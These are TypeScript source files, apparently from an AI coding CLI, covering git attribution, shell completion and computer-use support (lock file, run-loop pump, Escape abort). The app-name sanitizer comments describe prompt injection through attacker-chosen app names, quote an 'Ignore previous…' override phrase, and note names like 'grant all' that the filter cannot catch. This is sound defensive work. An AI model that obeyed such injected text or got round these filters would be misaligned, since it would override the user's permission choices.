* For new files, returns the total file size.
* For deleted files, returns the size of the deleted content.
*/
export async function getGitDiffSize(filePath: string): Promise<number> {
const cwd = getAttributionRepoRoot()
try {
// Use git diff --stat to get a summary of changes
const result = await execFileNoThrowWithCwd(
gitExe(),
['diff', '--cached', '--stat', '--', filePath],
{ cwd, timeout: 5000 },
)
if (result.code !== 0 || !result.stdout) {
return 0
}
// Parse the stat output to extract additions and deletions
// Format: " file | 5 ++---" or " file | 10 +"
const lines = result.stdout.split('\n').filter(Boolean)
let totalChanges = 0
for (const line of lines) {
// Skip the summary line (e.g., "1 file changed, 3 insertions(+), 2 deletions(-)")
if (line.includes('file changed') || line.includes('files changed')) {
const insertMatch = line.match(/(\d+) insertions?/)
const deleteMatch = line.match(/(\d+) deletions?/)
// Use line-based changes and approximate chars per line (~40 chars average)
const insertions = insertMatch ? parseInt(insertMatch[1]!, 10) : 0
const deletions = deleteMatch ? parseInt(deleteMatch[1]!, 10) : 0
totalChanges += (insertions + deletions) * 40
}
}
return totalChanges
} catch {
return 0
}
}
/**
* Check if a file was deleted in the staged changes.
*/
export async function isFileDeleted(filePath: string): Promise<boolean> {
const cwd = getAttributionRepoRoot()
try {
const result = await execFileNoThrowWithCwd(
gitExe(),
['diff', '--cached', '--name-status', '--', filePath],
{ cwd, timeout: 5000 },
)
if (result.code === 0 && result.stdout) {
// Format: "D\tfilename" for deleted files
return result.stdout.trim().startsWith('D\t')
}
} catch {
// Ignore errors
}
return false
}
/**
* Get staged files from git.
*/
export async function getStagedFiles(): Promise<string[]> {
const cwd = getAttributionRepoRoot()
try {
const result = await execFileNoThrowWithCwd(
gitExe(),
['diff', '--cached', '--name-only'],
{ cwd, timeout: 5000 },
)
if (result.code === 0 && result.stdout) {
return result.stdout.split('\n').filter(Boolean)
}
} catch (error) {
logError(error as Error)
}
return []
}
// formatAttributionTrailer moved to attributionTrailer.ts for tree-shaking
// (contains excluded strings that should not be in external builds)
/**
* Check if we're in a transient git state (rebase, merge, cherry-pick).
*/
export async function isGitTransientState(): Promise<boolean> {
const gitDir = await resolveGitDir(getAttributionRepoRoot())
if (!gitDir) return false
const indicators = [
'rebase-merge',
'rebase-apply',
'MERGE_HEAD',
'CHERRY_PICK_HEAD',
'BISECT_LOG',
]
const results = await Promise.all(
indicators.map(async indicator => {
try {
await stat(join(gitDir, indicator))
return true
} catch {
return false
}
}),
)
return results.some(exists => exists)
}
/**
* Convert attribution state to snapshot message for persistence.
*/
export function stateToSnapshotMessage(
state: AttributionState,
messageId: UUID,
): AttributionSnapshotMessage {
const fileStates: Record<string, FileAttributionState> = {}
for (const [path, fileState] of state.fileStates) {
fileStates[path] = fileState
}
return {
type: 'attribution-snapshot',
messageId,
surface: state.surface,
fileStates,
promptCount: state.promptCount,
promptCountAtLastCommit: state.promptCountAtLastCommit,
permissionPromptCount: state.permissionPromptCount,
permissionPromptCountAtLastCommit: state.permissionPromptCountAtLastCommit,
escapeCount: state.escapeCount,
escapeCountAtLastCommit: state.escapeCountAtLastCommit,
}
}
/**
* Restore attribution state from snapshot messages.
*/
export function restoreAttributionStateFromSnapshots(
snapshots: AttributionSnapshotMessage[],
): AttributionState {
const state = createEmptyAttributionState()
// Snapshots are full-state dumps (see stateToSnapshotMessage), not deltas.
// The last snapshot has the most recent count for every path — fileStates
// never shrinks. Iterating and SUMMING counts across snapshots causes
// quadratic growth on restore (837 snapshots × 280 files → 1.15 quadrillion
// "chars" tracked for a 5KB file over a 5-day session).
const lastSnapshot = snapshots[snapshots.length - 1]
if (!lastSnapshot) {
return state
}
state.surface = lastSnapshot.surface
for (const [path, fileState] of Object.entries(lastSnapshot.fileStates)) {
state.fileStates.set(path, fileState)
}
// Restore prompt counts from the last snapshot (most recent state)
state.promptCount = lastSnapshot.promptCount ?? 0
state.promptCountAtLastCommit = lastSnapshot.promptCountAtLastCommit ?? 0
state.permissionPromptCount = lastSnapshot.permissionPromptCount ?? 0
state.permissionPromptCountAtLastCommit =
lastSnapshot.permissionPromptCountAtLastCommit ?? 0
state.escapeCount = lastSnapshot.escapeCount ?? 0
state.escapeCountAtLastCommit = lastSnapshot.escapeCountAtLastCommit ?? 0
return state
}
/**
* Restore attribution state from log snapshots on session resume.
*/
export function attributionRestoreStateFromLog(
attributionSnapshots: AttributionSnapshotMessage[],
onUpdateState: (newState: AttributionState) => void,
): void {
const state = restoreAttributionStateFromSnapshots(attributionSnapshots)
onUpdateState(state)
}
/**
* Increment promptCount and save an attribution snapshot.
* Used to persist the prompt count across compaction.
*
* @param attribution - Current attribution state
* @param saveSnapshot - Function to save the snapshot (allows async handling by caller)
* @returns New attribution state with incremented promptCount
*/
export function incrementPromptCount(
attribution: AttributionState,
saveSnapshot: (snapshot: AttributionSnapshotMessage) => void,
): AttributionState {
const newAttribution = {
...attribution,
promptCount: attribution.promptCount + 1,
}
const snapshot = stateToSnapshotMessage(newAttribution, randomUUID())
saveSnapshot(snapshot)
return newAttribution
}

View File

@@ -0,0 +1,166 @@
import chalk from 'chalk'
import { mkdir, readFile, writeFile } from 'fs/promises'
import { homedir } from 'os'
import { dirname, join } from 'path'
import { pathToFileURL } from 'url'
import { color } from '../components/design-system/color.js'
import { supportsHyperlinks } from '../ink/supports-hyperlinks.js'
import { logForDebugging } from './debug.js'
import { isENOENT } from './errors.js'
import { execFileNoThrow } from './execFileNoThrow.js'
import { logError } from './log.js'
import type { ThemeName } from './theme.js'
const EOL = '\n'
type ShellInfo = {
name: string
rcFile: string
cacheFile: string
completionLine: string
shellFlag: string
}
function detectShell(): ShellInfo | null {
const shell = process.env.SHELL || ''
const home = homedir()
const claudeDir = join(home, '.claude')
if (shell.endsWith('/zsh') || shell.endsWith('/zsh.exe')) {
const cacheFile = join(claudeDir, 'completion.zsh')
return {
name: 'zsh',
rcFile: join(home, '.zshrc'),
cacheFile,
completionLine: `[[ -f "${cacheFile}" ]] && source "${cacheFile}"`,
shellFlag: 'zsh',
}
}
if (shell.endsWith('/bash') || shell.endsWith('/bash.exe')) {
const cacheFile = join(claudeDir, 'completion.bash')
return {
name: 'bash',
rcFile: join(home, '.bashrc'),
cacheFile,
completionLine: `[ -f "${cacheFile}" ] && source "${cacheFile}"`,
shellFlag: 'bash',
}
}
if (shell.endsWith('/fish') || shell.endsWith('/fish.exe')) {
const xdg = process.env.XDG_CONFIG_HOME || join(home, '.config')
const cacheFile = join(claudeDir, 'completion.fish')
return {
name: 'fish',
rcFile: join(xdg, 'fish', 'config.fish'),
cacheFile,
completionLine: `[ -f "${cacheFile}" ] && source "${cacheFile}"`,
shellFlag: 'fish',
}
}
return null
}
function formatPathLink(filePath: string): string {
if (!supportsHyperlinks()) {
return filePath
}
const fileUrl = pathToFileURL(filePath).href
return `\x1b]8;;${fileUrl}\x07${filePath}\x1b]8;;\x07`
}
/**
* Generate and cache the completion script, then add a source line to the
* shell's rc file. Returns a user-facing status message.
*/
export async function setupShellCompletion(theme: ThemeName): Promise<string> {
const shell = detectShell()
if (!shell) {
return ''
}
// Ensure the cache directory exists
try {
await mkdir(dirname(shell.cacheFile), { recursive: true })
} catch (e: unknown) {
logError(e)
return `${EOL}${color('warning', theme)(`Could not write ${shell.name} completion cache`)}${EOL}${chalk.dim(`Run manually: claude completion ${shell.shellFlag} > ${shell.cacheFile}`)}${EOL}`
}
// Generate the completion script by writing directly to the cache file.
// Using --output avoids piping through stdout where process.exit() can
// truncate output before the pipe buffer drains.
const claudeBin = process.argv[1] || 'claude'
const result = await execFileNoThrow(claudeBin, [
'completion',
shell.shellFlag,
'--output',
shell.cacheFile,
])
if (result.code !== 0) {
return `${EOL}${color('warning', theme)(`Could not generate ${shell.name} shell completions`)}${EOL}${chalk.dim(`Run manually: claude completion ${shell.shellFlag} > ${shell.cacheFile}`)}${EOL}`
}
// Check if rc file already sources completions
let existing = ''
try {
existing = await readFile(shell.rcFile, { encoding: 'utf-8' })
if (
existing.includes('claude completion') ||
existing.includes(shell.cacheFile)
) {
return `${EOL}${color('success', theme)(`Shell completions updated for ${shell.name}`)}${EOL}${chalk.dim(`See ${formatPathLink(shell.rcFile)}`)}${EOL}`
}
} catch (e: unknown) {
if (!isENOENT(e)) {
logError(e)
return `${EOL}${color('warning', theme)(`Could not install ${shell.name} shell completions`)}${EOL}${chalk.dim(`Add this to ${formatPathLink(shell.rcFile)}:`)}${EOL}${chalk.dim(shell.completionLine)}${EOL}`
}
}
// Append source line to rc file
try {
const configDir = dirname(shell.rcFile)
await mkdir(configDir, { recursive: true })
const separator = existing && !existing.endsWith('\n') ? '\n' : ''
const content = `${existing}${separator}\n# Claude Code shell completions\n${shell.completionLine}\n`
await writeFile(shell.rcFile, content, { encoding: 'utf-8' })
return `${EOL}${color('success', theme)(`Installed ${shell.name} shell completions`)}${EOL}${chalk.dim(`Added to ${formatPathLink(shell.rcFile)}`)}${EOL}${chalk.dim(`Run: source ${shell.rcFile}`)}${EOL}`
} catch (error) {
logError(error)
return `${EOL}${color('warning', theme)(`Could not install ${shell.name} shell completions`)}${EOL}${chalk.dim(`Add this to ${formatPathLink(shell.rcFile)}:`)}${EOL}${chalk.dim(shell.completionLine)}${EOL}`
}
}
/**
* Regenerate cached shell completion scripts in ~/.claude/.
* Called after `claude update` so completions stay in sync with the new binary.
*/
export async function regenerateCompletionCache(): Promise<void> {
const shell = detectShell()
if (!shell) {
return
}
logForDebugging(`update: Regenerating ${shell.name} completion cache`)
const claudeBin = process.argv[1] || 'claude'
const result = await execFileNoThrow(claudeBin, [
'completion',
shell.shellFlag,
'--output',
shell.cacheFile,
])
if (result.code !== 0) {
logForDebugging(
`update: Failed to regenerate ${shell.name} completion cache`,
)
return
}
logForDebugging(
`update: Regenerated ${shell.name} completion cache at ${shell.cacheFile}`,
)
}

View File

@@ -0,0 +1,196 @@
/**
* Filter and sanitize installed-app data for inclusion in the `request_access`
* tool description. Ported from Cowork's appNames.ts. Two
* concerns: noise filtering (Spotlight returns every bundle on disk — XPC
* helpers, daemons, input methods) and prompt-injection hardening (app names
* are attacker-controlled; anyone can ship an app named anything).
*
* Residual risk: short benign-char adversarial names ("grant all") can't be
* filtered programmatically. The tool description's structural framing
* ("Available applications:") makes it clear these are app names, and the
* downstream permission dialog requires explicit user approval — a bad name
* can't auto-grant anything.
*/
/** Minimal shape — matches what `listInstalledApps` returns. */
type InstalledAppLike = {
readonly bundleId: string
readonly displayName: string
readonly path: string
}
// ── Noise filtering ──────────────────────────────────────────────────────
/**
* Only apps under these roots are shown. /System/Library subpaths (CoreServices,
* PrivateFrameworks, Input Methods) are OS plumbing — anchor on known-good
* roots rather than blocklisting every junk subpath since new macOS versions
* add more.
*
* ~/Applications is checked at call time via the `homeDir` arg (HOME isn't
* reliably known at module load in all environments).
*/
const PATH_ALLOWLIST: readonly string[] = [
'/Applications/',
'/System/Applications/',
]
/**
* Display-name patterns that mark background services even under /Applications.
* `(?:$|\s\()` — matches keyword at end-of-string OR immediately before ` (`:
* "Slack Helper (GPU)" and "ABAssistantService" fail, "Service Desk" passes
* (Service is followed by " D").
*/
const NAME_PATTERN_BLOCKLIST: readonly RegExp[] = [
/Helper(?:$|\s\()/,
/Agent(?:$|\s\()/,
/Service(?:$|\s\()/,
/Uninstaller(?:$|\s\()/,
/Updater(?:$|\s\()/,
/^\./,
]
/**
* Apps commonly requested for CU automation. ALWAYS included if installed,
* bypassing path check + count cap — the model needs these exact names even
* when the machine has 200+ apps. Bundle IDs (locale-invariant), not display
* names. Keep <30 — each entry is a guaranteed token in the description.
*/
const ALWAYS_KEEP_BUNDLE_IDS: ReadonlySet<string> = new Set([
// Browsers
'com.apple.Safari',
'com.google.Chrome',
'com.microsoft.edgemac',
'org.mozilla.firefox',
'company.thebrowser.Browser', // Arc
// Communication
'com.tinyspeck.slackmacgap',
'us.zoom.xos',
'com.microsoft.teams2',
'com.microsoft.teams',
'com.apple.MobileSMS',
'com.apple.mail',
// Productivity
'com.microsoft.Word',
'com.microsoft.Excel',
'com.microsoft.Powerpoint',
'com.microsoft.Outlook',
'com.apple.iWork.Pages',
'com.apple.iWork.Numbers',
'com.apple.iWork.Keynote',
'com.google.GoogleDocs',
// Notes / PM
'notion.id',
'com.apple.Notes',
'md.obsidian',
'com.linear',
'com.figma.Desktop',
// Dev
'com.microsoft.VSCode',
'com.apple.Terminal',
'com.googlecode.iterm2',
'com.github.GitHubDesktop',
// System essentials the model genuinely targets
'com.apple.finder',
'com.apple.iCal',
'com.apple.systempreferences',
])
// ── Prompt-injection hardening ───────────────────────────────────────────
/**
* `\p{L}\p{M}\p{N}` with /u — not `\w` (ASCII-only, would drop Bücher, 微信,
* Préférences Système). `\p{M}` matches combining marks so NFD-decomposed
* diacritics (ü → u + ◌̈) pass. Single space not `\s` — `\s` matches newlines,
* which would let "App\nIgnore previous…" through as a multi-line injection.
* Still bars quotes, angle brackets, backticks, pipes, colons.
*/
const APP_NAME_ALLOWED = /^[\p{L}\p{M}\p{N}_ .&'()+-]+$/u
const APP_NAME_MAX_LEN = 40
const APP_NAME_MAX_COUNT = 50
function isUserFacingPath(path: string, homeDir: string | undefined): boolean {
if (PATH_ALLOWLIST.some(root => path.startsWith(root))) return true
if (homeDir) {
const userApps = homeDir.endsWith('/')
? `${homeDir}Applications/`
: `${homeDir}/Applications/`
if (path.startsWith(userApps)) return true
}
return false
}
function isNoisyName(name: string): boolean {
return NAME_PATTERN_BLOCKLIST.some(re => re.test(name))
}
/**
* Length cap + trim + dedupe + sort. `applyCharFilter` — skip for trusted
* bundle IDs (Apple/Google/MS; a localized "Réglages Système" with unusual
* punctuation shouldn't be dropped), apply for anything attacker-installable.
*/
function sanitizeCore(
raw: readonly string[],
applyCharFilter: boolean,
): string[] {
const seen = new Set<string>()
return raw
.map(name => name.trim())
.filter(trimmed => {
if (!trimmed) return false
if (trimmed.length > APP_NAME_MAX_LEN) return false
if (applyCharFilter && !APP_NAME_ALLOWED.test(trimmed)) return false
if (seen.has(trimmed)) return false
seen.add(trimmed)
return true
})
.sort((a, b) => a.localeCompare(b))
}
function sanitizeAppNames(raw: readonly string[]): string[] {
const filtered = sanitizeCore(raw, true)
if (filtered.length <= APP_NAME_MAX_COUNT) return filtered
return [
...filtered.slice(0, APP_NAME_MAX_COUNT),
`… and ${filtered.length - APP_NAME_MAX_COUNT} more`,
]
}
function sanitizeTrustedNames(raw: readonly string[]): string[] {
return sanitizeCore(raw, false)
}
/**
* Filter raw Spotlight results to user-facing apps, then sanitize. Always-keep
* apps bypass path/name filter AND char allowlist (trusted vendors, not
* attacker-installed); still length-capped, deduped, sorted.
*/
export function filterAppsForDescription(
installed: readonly InstalledAppLike[],
homeDir: string | undefined,
): string[] {
const { alwaysKept, rest } = installed.reduce<{
alwaysKept: string[]
rest: string[]
}>(
(acc, app) => {
if (ALWAYS_KEEP_BUNDLE_IDS.has(app.bundleId)) {
acc.alwaysKept.push(app.displayName)
} else if (
isUserFacingPath(app.path, homeDir) &&
!isNoisyName(app.displayName)
) {
acc.rest.push(app.displayName)
}
return acc
},
{ alwaysKept: [], rest: [] },
)
const sanitizedAlways = sanitizeTrustedNames(alwaysKept)
const alwaysSet = new Set(sanitizedAlways)
return [
...sanitizedAlways,
...sanitizeAppNames(rest).filter(n => !alwaysSet.has(n)),
]
}

View File

@@ -0,0 +1,86 @@
import type { ToolUseContext } from '../../Tool.js'
import { logForDebugging } from '../debug.js'
import { errorMessage } from '../errors.js'
import { withResolvers } from '../withResolvers.js'
import { isLockHeldLocally, releaseComputerUseLock } from './computerUseLock.js'
import { unregisterEscHotkey } from './escHotkey.js'
// cu.apps.unhide is NOT one of the four @MainActor methods wrapped by
// drainRunLoop's 30s backstop. On abort paths (where the user hit Ctrl+C
// because something was slow) a hang here would wedge the abort. Generous
// timeout — unhide should be ~instant; if it takes 5s something is wrong
// and proceeding is better than waiting. The Swift call continues in the
// background regardless; we just stop blocking on it.
const UNHIDE_TIMEOUT_MS = 5000
/**
* Turn-end cleanup for the chicago MCP surface: auto-unhide apps that
* `prepareForAction` hid, then release the file-based lock.
*
* Called from three sites: natural turn end (`stopHooks.ts`), abort during
* streaming (`query.ts` aborted_streaming), abort during tool execution
* (`query.ts` aborted_tools). All three reach this via dynamic import gated
* on `feature('CHICAGO_MCP')`. `executor.js` (which pulls both native
* modules) is dynamic-imported below so non-CU turns don't load native
* modules just to no-op.
*
* No-ops cheaply on non-CU turns: both gate checks are zero-syscall.
*/
export async function cleanupComputerUseAfterTurn(
ctx: Pick<
ToolUseContext,
'getAppState' | 'setAppState' | 'sendOSNotification'
>,
): Promise<void> {
const appState = ctx.getAppState()
const hidden = appState.computerUseMcpState?.hiddenDuringTurn
if (hidden && hidden.size > 0) {
const { unhideComputerUseApps } = await import('./executor.js')
const unhide = unhideComputerUseApps([...hidden]).catch(err =>
logForDebugging(
`[Computer Use MCP] auto-unhide failed: ${errorMessage(err)}`,
),
)
const timeout = withResolvers<void>()
const timer = setTimeout(timeout.resolve, UNHIDE_TIMEOUT_MS)
await Promise.race([unhide, timeout.promise]).finally(() =>
clearTimeout(timer),
)
ctx.setAppState(prev =>
prev.computerUseMcpState?.hiddenDuringTurn === undefined
? prev
: {
...prev,
computerUseMcpState: {
...prev.computerUseMcpState,
hiddenDuringTurn: undefined,
},
},
)
}
// Zero-syscall pre-check so non-CU turns don't touch disk. Release is still
// idempotent (returns false if already released or owned by another session).
if (!isLockHeldLocally()) return
// Unregister before lock release so the pump-retain drops as soon as the
// CU session ends. Idempotent — no-ops if registration failed at acquire.
// Swallow throws so a NAPI unregister error never prevents lock release —
// a held lock blocks the next CU session with "in use by another session".
try {
unregisterEscHotkey()
} catch (err) {
logForDebugging(
`[Computer Use MCP] unregisterEscHotkey failed: ${errorMessage(err)}`,
)
}
if (await releaseComputerUseLock()) {
ctx.sendOSNotification?.({
message: 'Claude is done using your computer',
notificationType: 'computer_use_exit',
})
}
}

View File

@@ -0,0 +1,61 @@
import { normalizeNameForMCP } from '../../services/mcp/normalization.js'
import { env } from '../env.js'
export const COMPUTER_USE_MCP_SERVER_NAME = 'computer-use'
/**
* Sentinel bundle ID for the frontmost gate. Claude Code is a terminal — it has
* no window. This never matches a real `NSWorkspace.frontmostApplication`, so
* the package's "host is frontmost" branch (mouse click-through exemption,
* keyboard safety-net) is dead code for us. `prepareForAction`'s "exempt our
* own window" is likewise a no-op — there is no window to exempt.
*/
export const CLI_HOST_BUNDLE_ID = 'com.anthropic.claude-code.cli-no-window'
/**
* Fallback `env.terminal` → bundleId map for when `__CFBundleIdentifier` is
* unset. Covers the macOS terminals we can distinguish — Linux entries
* (konsole, gnome-terminal, xterm) are deliberately absent since
* `createCliExecutor` is darwin-guarded.
*/
const TERMINAL_BUNDLE_ID_FALLBACK: Readonly<Record<string, string>> = {
'iTerm.app': 'com.googlecode.iterm2',
Apple_Terminal: 'com.apple.Terminal',
ghostty: 'com.mitchellh.ghostty',
kitty: 'net.kovidgoyal.kitty',
WarpTerminal: 'dev.warp.Warp-Stable',
vscode: 'com.microsoft.VSCode',
}
/**
* Bundle ID of the terminal emulator we're running inside, so `prepareDisplay`
* can exempt it from hiding and `captureExcluding` can keep it out of
* screenshots. Returns null when undetectable (ssh, cleared env, unknown
* terminal) — caller must handle the null case.
*
* `__CFBundleIdentifier` is set by LaunchServices when a .app bundle spawns a
* process and is inherited by children. It's the exact bundleId, no lookup
* needed — handles terminals the fallback table doesn't know about. Under
* tmux/screen it reflects the terminal that started the SERVER, which may
* differ from the attached client. That's harmless here: we exempt A
* terminal window, and the screenshots exclude it regardless.
*/
export function getTerminalBundleId(): string | null {
const cfBundleId = process.env.__CFBundleIdentifier
if (cfBundleId) return cfBundleId
return TERMINAL_BUNDLE_ID_FALLBACK[env.terminal ?? ''] ?? null
}
/**
* Static capabilities for macOS CLI. `hostBundleId` is not here — it's added
* by `executor.ts` per `ComputerExecutor.capabilities`. `buildComputerUseTools`
* takes this shape (no `hostBundleId`, no `teachMode`).
*/
export const CLI_CU_CAPABILITIES = {
screenshotFiltering: 'native' as const,
platform: 'darwin' as const,
}
export function isComputerUseMCPServer(name: string): boolean {
return normalizeNameForMCP(name) === COMPUTER_USE_MCP_SERVER_NAME
}

View File

@@ -0,0 +1,215 @@
import { mkdir, readFile, unlink, writeFile } from 'fs/promises'
import { join } from 'path'
import { getSessionId } from '../../bootstrap/state.js'
import { registerCleanup } from '../../utils/cleanupRegistry.js'
import { logForDebugging } from '../../utils/debug.js'
import { getClaudeConfigHomeDir } from '../../utils/envUtils.js'
import { jsonParse, jsonStringify } from '../../utils/slowOperations.js'
import { getErrnoCode } from '../errors.js'
const LOCK_FILENAME = 'computer-use.lock'
// Holds the unregister function for the shutdown cleanup handler.
// Set when the lock is acquired, cleared when released.
let unregisterCleanup: (() => void) | undefined
type ComputerUseLock = {
readonly sessionId: string
readonly pid: number
readonly acquiredAt: number
}
export type AcquireResult =
| { readonly kind: 'acquired'; readonly fresh: boolean }
| { readonly kind: 'blocked'; readonly by: string }
export type CheckResult =
| { readonly kind: 'free' }
| { readonly kind: 'held_by_self' }
| { readonly kind: 'blocked'; readonly by: string }
const FRESH: AcquireResult = { kind: 'acquired', fresh: true }
const REENTRANT: AcquireResult = { kind: 'acquired', fresh: false }
function isComputerUseLock(value: unknown): value is ComputerUseLock {
if (typeof value !== 'object' || value === null) return false
return (
'sessionId' in value &&
typeof value.sessionId === 'string' &&
'pid' in value &&
typeof value.pid === 'number'
)
}
function getLockPath(): string {
return join(getClaudeConfigHomeDir(), LOCK_FILENAME)
}
async function readLock(): Promise<ComputerUseLock | undefined> {
try {
const raw = await readFile(getLockPath(), 'utf8')
const parsed: unknown = jsonParse(raw)
return isComputerUseLock(parsed) ? parsed : undefined
} catch {
return undefined
}
}
/**
* Check whether a process is still running (signal 0 probe).
*
* Note: there is a small window for PID reuse — if the owning process
* exits and an unrelated process is assigned the same PID, the check
* will return true. This is extremely unlikely in practice.
*/
function isProcessRunning(pid: number): boolean {
try {
process.kill(pid, 0)
return true
} catch {
return false
}
}
/**
* Attempt to create the lock file atomically with O_EXCL.
* Returns true on success, false if the file already exists.
* Throws for other errors.
*/
async function tryCreateExclusive(lock: ComputerUseLock): Promise<boolean> {
try {
await writeFile(getLockPath(), jsonStringify(lock), { flag: 'wx' })
return true
} catch (e: unknown) {
if (getErrnoCode(e) === 'EEXIST') return false
throw e
}
}
/**
* Register a shutdown cleanup handler so the lock is released even if
* turn-end cleanup is never reached (e.g. the user runs /exit while
* a tool call is in progress).
*/
function registerLockCleanup(): void {
unregisterCleanup?.()
unregisterCleanup = registerCleanup(async () => {
await releaseComputerUseLock()
})
}
/**
* Check lock state without acquiring. Used for `request_access` /
* `list_granted_applications` — the package's `defersLockAcquire` contract:
* these tools check but don't take the lock, so the enter-notification and
* overlay don't fire while the model is only asking for permission.
*
* Does stale-PID recovery (unlinks) so a dead session's lock doesn't block
* `request_access`. Does NOT create — that's `tryAcquireComputerUseLock`'s job.
*/
export async function checkComputerUseLock(): Promise<CheckResult> {
const existing = await readLock()
if (!existing) return { kind: 'free' }
if (existing.sessionId === getSessionId()) return { kind: 'held_by_self' }
if (isProcessRunning(existing.pid)) {
return { kind: 'blocked', by: existing.sessionId }
}
logForDebugging(
`Recovering stale computer-use lock from session ${existing.sessionId} (PID ${existing.pid})`,
)
await unlink(getLockPath()).catch(() => {})
return { kind: 'free' }
}
/**
* Zero-syscall check: does THIS process believe it holds the lock?
* True iff `tryAcquireComputerUseLock` succeeded and `releaseComputerUseLock`
* hasn't run yet. Used to gate the per-turn release in `cleanup.ts` so
* non-CU turns don't touch disk.
*/
export function isLockHeldLocally(): boolean {
return unregisterCleanup !== undefined
}
/**
* Try to acquire the computer-use lock for the current session.
*
* `{kind: 'acquired', fresh: true}` — first tool call of a CU turn. Callers fire
* enter notifications on this. `{kind: 'acquired', fresh: false}` — re-entrant,
* same session already holds it. `{kind: 'blocked', by}` — another live session
* holds it.
*
* Uses O_EXCL (open 'wx') for atomic test-and-set — the OS guarantees at
* most one process sees the create succeed. If the file already exists,
* we check ownership and PID liveness; for a stale lock we unlink and
* retry the exclusive create once. If two sessions race to recover the
* same stale lock, only one create succeeds (the other reads the winner).
*/
export async function tryAcquireComputerUseLock(): Promise<AcquireResult> {
const sessionId = getSessionId()
const lock: ComputerUseLock = {
sessionId,
pid: process.pid,
acquiredAt: Date.now(),
}
await mkdir(getClaudeConfigHomeDir(), { recursive: true })
// Fresh acquisition.
if (await tryCreateExclusive(lock)) {
registerLockCleanup()
return FRESH
}
const existing = await readLock()
// Corrupt/unparseable — treat as stale (can't extract a blocking ID).
if (!existing) {
await unlink(getLockPath()).catch(() => {})
if (await tryCreateExclusive(lock)) {
registerLockCleanup()
return FRESH
}
return { kind: 'blocked', by: (await readLock())?.sessionId ?? 'unknown' }
}
// Already held by this session.
if (existing.sessionId === sessionId) return REENTRANT
// Another live session holds it — blocked.
if (isProcessRunning(existing.pid)) {
return { kind: 'blocked', by: existing.sessionId }
}
// Stale lock — recover. Unlink then retry the exclusive create.
// If another session is also recovering, one EEXISTs and reads the winner.
logForDebugging(
`Recovering stale computer-use lock from session ${existing.sessionId} (PID ${existing.pid})`,
)
await unlink(getLockPath()).catch(() => {})
if (await tryCreateExclusive(lock)) {
registerLockCleanup()
return FRESH
}
return { kind: 'blocked', by: (await readLock())?.sessionId ?? 'unknown' }
}
/**
* Release the computer-use lock if the current session owns it. Returns
* `true` if we actually unlinked the file (i.e., we held it) — callers fire
* exit notifications on this. Idempotent: subsequent calls return `false`.
*/
export async function releaseComputerUseLock(): Promise<boolean> {
unregisterCleanup?.()
unregisterCleanup = undefined
const existing = await readLock()
if (!existing || existing.sessionId !== getSessionId()) return false
try {
await unlink(getLockPath())
logForDebugging('Released computer-use lock')
return true
} catch {
return false
}
}

View File

@@ -0,0 +1,79 @@
import { logForDebugging } from '../debug.js'
import { withResolvers } from '../withResolvers.js'
import { requireComputerUseSwift } from './swiftLoader.js'
/**
* Shared CFRunLoop pump. Swift's four `@MainActor` async methods
* (captureExcluding, captureRegion, apps.listInstalled, resolvePrepareCapture)
* and `@ant/computer-use-input`'s key()/keys() all dispatch to
* DispatchQueue.main. Under libuv (Node/bun) that queue never drains — the
* promises hang. Electron drains it via CFRunLoop so Cowork doesn't need this.
*
* One refcounted setInterval calls `_drainMainRunLoop` (RunLoop.main.run)
* every 1ms while any main-queue-dependent call is pending. Multiple
* concurrent drainRunLoop() calls share the single pump via retain/release.
*/
let pump: ReturnType<typeof setInterval> | undefined
let pending = 0
function drainTick(cu: ReturnType<typeof requireComputerUseSwift>): void {
cu._drainMainRunLoop()
}
function retain(): void {
pending++
if (pump === undefined) {
pump = setInterval(drainTick, 1, requireComputerUseSwift())
logForDebugging('[drainRunLoop] pump started', { level: 'verbose' })
}
}
function release(): void {
pending--
if (pending <= 0 && pump !== undefined) {
clearInterval(pump)
pump = undefined
logForDebugging('[drainRunLoop] pump stopped', { level: 'verbose' })
pending = 0
}
}
const TIMEOUT_MS = 30_000
function timeoutReject(reject: (e: Error) => void): void {
reject(new Error(`computer-use native call exceeded ${TIMEOUT_MS}ms`))
}
/**
* Hold a pump reference for the lifetime of a long-lived registration
* (e.g. the CGEventTap Escape handler). Unlike `drainRunLoop(fn)` this has
* no timeout — the caller is responsible for calling `releasePump()`. Same
* refcount as drainRunLoop calls, so nesting is safe.
*/
export const retainPump = retain
export const releasePump = release
/**
* Await `fn()` with the shared drain pump running. Safe to nest — multiple
* concurrent drainRunLoop() calls share one setInterval.
*/
export async function drainRunLoop<T>(fn: () => Promise<T>): Promise<T> {
retain()
let timer: ReturnType<typeof setTimeout> | undefined
try {
// If the timeout wins the race, fn()'s promise is orphaned — a late
// rejection from the native layer would become an unhandledRejection.
// Attaching a no-op catch swallows it; the timeout error is what surfaces.
// fn() sits inside try so a synchronous throw (e.g. NAPI argument
// validation) still reaches release() — otherwise the pump leaks.
const work = fn()
work.catch(() => {})
const timeout = withResolvers<never>()
timer = setTimeout(timeoutReject, TIMEOUT_MS, timeout.reject)
return await Promise.race([work, timeout.promise])
} finally {
clearTimeout(timer)
release()
}
}

View File

@@ -0,0 +1,54 @@
import { logForDebugging } from '../debug.js'
import { releasePump, retainPump } from './drainRunLoop.js'
import { requireComputerUseSwift } from './swiftLoader.js'
/**
* Global Escape → abort. Mirrors Cowork's `escAbort.ts` but without Electron:
* CGEventTap via `@ant/computer-use-swift`. While registered, Escape is
* consumed system-wide (PI defense — a prompt-injected action can't dismiss
* a dialog with Escape).
*
* Lifecycle: register on fresh lock acquire (`wrapper.tsx` `acquireCuLock`),
* unregister on lock release (`cleanup.ts`). The tap's CFRunLoopSource sits
* in .defaultMode on CFRunLoopGetMain(), so we hold a drainRunLoop pump
* retain for the registration's lifetime — same refcounted setInterval as
* the `@MainActor` methods.
*
* `notifyExpectedEscape()` punches a hole for model-synthesized Escapes: the
* executor's `key("escape")` calls it before posting the CGEvent. Swift
* schedules a 100ms decay so a CGEvent that never reaches the tap callback
* doesn't eat the next user ESC.
*/
let registered = false
export function registerEscHotkey(onEscape: () => void): boolean {
if (registered) return true
const cu = requireComputerUseSwift()
if (!cu.hotkey.registerEscape(onEscape)) {
// CGEvent.tapCreate failed — typically missing Accessibility permission.
// CU still works, just without ESC abort. Mirrors Cowork's escAbort.ts:81.
logForDebugging('[cu-esc] registerEscape returned false', { level: 'warn' })
return false
}
retainPump()
registered = true
logForDebugging('[cu-esc] registered')
return true
}
export function unregisterEscHotkey(): void {
if (!registered) return
try {
requireComputerUseSwift().hotkey.unregister()
} finally {
releasePump()
registered = false
logForDebugging('[cu-esc] unregistered')
}
}
export function notifyExpectedEscape(): void {
if (!registered) return
requireComputerUseSwift().hotkey.notifyExpectedEscape()
}

